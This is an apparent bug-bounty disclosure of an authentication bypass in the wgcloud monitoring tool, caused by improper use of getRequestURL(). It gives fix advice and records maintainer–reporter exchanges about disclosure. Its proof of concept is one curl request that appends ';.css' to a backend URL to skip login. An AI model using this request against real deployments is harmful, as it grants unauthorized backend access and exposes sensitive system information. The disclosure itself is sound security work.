Auth bypass via unproper use of getRequestURL() in tianshiyeben/wgcloud
Reported on
Mar 29th 2022
Description
The wgcloud uses getRequestURL() improperly, an attacker could craft an URL that bypasses the auth of wgcloud
Normally, when browsering http://[ip]:9999/wgcloud/dash/main with no auth, you will be redirected to /wgcloud/login/toLogin, but this vuln could bypass this.
Proof of Concept
curl 'http://[ip]:9999/wgcloud/dash/main;.css'
HTTP/1.1 200
Set-Cookie: JSESSIONID=00659E0197260C8DF3988AC21AA987CC; Path=/wgcloud; HttpOnly
Content-Type: text/html;charset=UTF-8
Content-Language: en-US
Transfer-Encoding: chunked
Date: Tue, 29 Mar 2022 14:36:24 GMT
while no auth is needed to get into the backend...
Impact
This vulnerability is capable of abusing the backend functions, while no auth is required. An attacker could retrieve sensitive infomation of the system via this vuln
Occurrences
AuthRestFilter.java L49
indexof is not recommended, should be more accurate. Use @WebFilter(urlPatterns) instead, or config resource/static in application.properties
AuthRestFilter.java L45-L46
Don't use getRequestURL(), Use getServletPath() instead.
AuthRestFilter.java L56
indexof is not recommended, should be more accurate. Use @WebFilter(urlPatterns) instead, or config resource/static in application.properties
References
SECURITY.md
a year ago
Thank you very much for your suggestions. I already know how to fix it and have started to make some updates
OK, can you update the status of this issue? So that a vulnerability serial-number could be assigned, and we both can get some bonus.
OK, give me a little more time. I haven't finished it yet. I'll update this status at that time
Hello, excuse me, I now change the status to valid. Will this bug not be disclosed
It seems that @tianshiyeben don't want to disclose this vuln, I am not quite sure about it, let's ask admin about it Hi ,@admin what should we do if we want to keep this vuln private.
ok，I still have some work to finish now. I want to wait some time
You can go ahead and mark the report as valid. This will NOT make the report public. Only once you have marked it as fixed, will the report go public 👍
In short, if you tell us a report is fixed, it will be made public.
Thank you for your feedback and suggestions. I have fixed this bug and released it
Thank you for your feedback and suggestions. I have fixed this bug and released it
Thank you again
I found that I can't mark it as repaired. There is no response after clicking the button. Can the administrator help me @admin